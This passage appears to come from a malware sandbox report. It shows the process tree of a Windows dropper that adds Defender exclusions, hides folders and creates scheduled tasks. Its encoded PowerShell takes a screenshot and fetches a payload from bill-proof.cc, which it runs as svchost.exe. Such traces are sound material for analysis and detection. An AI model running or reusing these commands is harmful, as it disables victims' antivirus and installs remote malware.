  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -w hidden -enc QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAsAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACQAcwA9AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAUAByAGkAbQBhAHIAeQBTAGMAcgBlAGUAbgAuAEIAbwB1AG4AZABzADsAJABiAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJABzAC4AVwBpAGQAdABoACwAJABzAC4ASABlAGkAZwBoAHQAKQA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiACkAOwAkAGcALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAkAHMALgBYACwAJABzAC4AWQAsADAALAAwACwAJABzAC4AUwBpAHoAZQApADsAJABiAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAXwAxADcANwA0ADcAMgA4ADgAOAAwADcAOAAxAC4AagBwAGcAJwAsACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAC4ARABpAHMAcABvAHMAZQAoACkAOwA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "driverquery"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4376
  - - C:\Windows\system32\driverquery.exe
      driverquery
      4⤵
      PID:3744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Spynet" /v SpynetReporting"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4540
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Spynet" /v SpynetReporting
      4⤵
      PID:2612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1316
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:344
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3052
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4028
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3612
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2836
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4464
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm" /t REG_DWORD /d 0 /f
      4⤵
      PID:3748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "$path='C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm';try{Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess (Split-Path $path -Leaf) -ErrorAction SilentlyContinue}catch{}""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$path='C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm';try{Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess (Split-Path $path -Leaf) -ErrorAction SilentlyContinue}catch{}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\\Users\\Admin\\AppData\\Local\\Temp\\7z806E63F8\\FileInstaller.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4996
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\\Users\\Admin\\AppData\\Local\\Temp\\7z806E63F8\\FileInstaller.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:1060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "$path='C:\\Users\\Admin\\AppData\\Local\\Temp\\7z806E63F8\\FileInstaller.exe';try{Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess (Split-Path $path -Leaf) -ErrorAction SilentlyContinue}catch{}""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$path='C:\\Users\\Admin\\AppData\\Local\\Temp\\7z806E63F8\\FileInstaller.exe';try{Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess (Split-Path $path -Leaf) -ErrorAction SilentlyContinue}catch{}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4512
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\father5345.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\father5345.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm\\father5345.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4720
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm\\father5345.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:2744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "$path='C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm\\father5345.exe';try{Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess (Split-Path $path -Leaf) -ErrorAction SilentlyContinue}catch{}""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5072
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$path='C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm\\father5345.exe';try{Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess (Split-Path $path -Leaf) -ErrorAction SilentlyContinue}catch{}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4328
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3856
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\hhed6zpvmw.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\hhed6zpvmw.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm\\hhed6zpvmw.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2428
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm\\hhed6zpvmw.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:4000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "$path='C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm\\hhed6zpvmw.exe';try{Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess (Split-Path $path -Leaf) -ErrorAction SilentlyContinue}catch{}""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$path='C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\bqarjm\\hhed6zpvmw.exe';try{Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess (Split-Path $path -Leaf) -ErrorAction SilentlyContinue}catch{}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5104
- - C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\father5345.exe
    C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\father5345.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Users\Admin\AppData\Local\Temp\594b244c\e1fd\899893e7.exe
      "C:\Users\Admin\AppData\Local\Temp\594b244c\e1fd\899893e7.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:760
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2612
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGIAaQBsAGwALQBwAHIAbwBvAGYALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3760
        
        C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        7⤵
        Views/modifies file attributes
        
        PID:1092
        
        C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        7⤵
        Views/modifies file attributes
        
        PID:3556
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        7⤵
        
        PID:4080
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        7⤵
        
        PID:4412
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        7⤵
        
        PID:2624
        
        C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        7⤵
        
        PID:1504
        
        C:\Windows\system32\schtasks.exe
        
